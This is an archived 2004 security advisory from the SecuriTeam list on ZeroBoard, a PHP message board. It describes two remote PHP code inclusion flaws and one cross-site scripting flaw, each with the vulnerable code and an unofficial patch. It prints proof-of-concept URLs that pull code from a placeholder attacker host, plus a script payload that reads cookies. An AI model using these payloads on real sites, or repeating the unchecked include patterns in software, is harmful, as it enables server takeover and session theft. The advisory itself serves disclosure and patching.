

[UNIX] ZeroBoard PHP Code Injection and XSS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0100.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/27/04

To: list@securiteam.com

Date: 27 Dec 2004 12:00:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ZeroBoard PHP Code Injection and XSS

SUMMARY

<<http://nzeo.com/>> ZeroBoard is one of widely used web BBS applications in Korea. However, an input validation flaw can cause malicious attackers to run arbitrary commands with the privilege of the HTTPD process, which is typically run as the nobody user.

DETAILS

`_zb_path` Code Injection:

As of PHP 5.0.0, `file_exists()` can be used with URL wrappers explained at <http://www.php.net/manual/en/function.file-exists.php>. Thus `_zb_path` parameter in `outlogin.php` can be easily exploited.

Proof of concept:

`http://[victim]/outlogin.php?_zb_path=ftp://[attacker]/pub/`

Vulnerable code in `outlogin.php`:

```
//
if(!file_exists($_zb_path."lib.php")) {
    echo "???????";
    return;
}
```

Securiteam: [UNIX] ZeroBoard PHP Code Injection and XSS

```
// _head.php
@include $_zb_path."_head.php";

}
```

dir Code Injection:

Due to uninitialized usage of the \$dir variable in write.php a remote attacker can cause the script to utilize arbitrary external PHP code.

Proof of concept:

```
http://[victim]/include/write.php?dir=http://[attacker]/
```

Vulnerable code in include/write.php:

```
include $dir."/write.php";
```

Cross-site scripting vulnerability:

The check_user_id.php doesn't validate the input value of user_id, allowing an attacker to cause a cross site scripting attack.

Proof of concept:

```
http://[victim]/check_user_id.php?user_id=<script>alert(document.cookie)</script>
```

Vulnerable code in check_user_id.php:

```
$user_id = trim($user_id);
...
if($check[0]) echo "$user_id <br> ";
else echo"$user_id ";
...

```

Unofficial patches:

For the first vulnerability, and for zboard version 4.1pl4, insert the following code at 59th line of outlogin.php:

```
if(eregi(":\|\/",$_zb_path)) $_zb_path="";
```

For the second vulnerability, and for zboard version 4.1pl4, insert the following code at 15th line of include/write.php:

```
if(eregi(":\|\/",$dir)) $dir="";
```

For the third vulnerability, and for zboard version 4.1pl4, insert the following code at 3rd line of check_user_id.php:

```
$user_id = htmlspecialchars(trim($user_id));
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@stgsecurity.com>
SSR Team.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

Securiteam: [UNIX] ZeroBoard PHP Code Injection and XSS

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.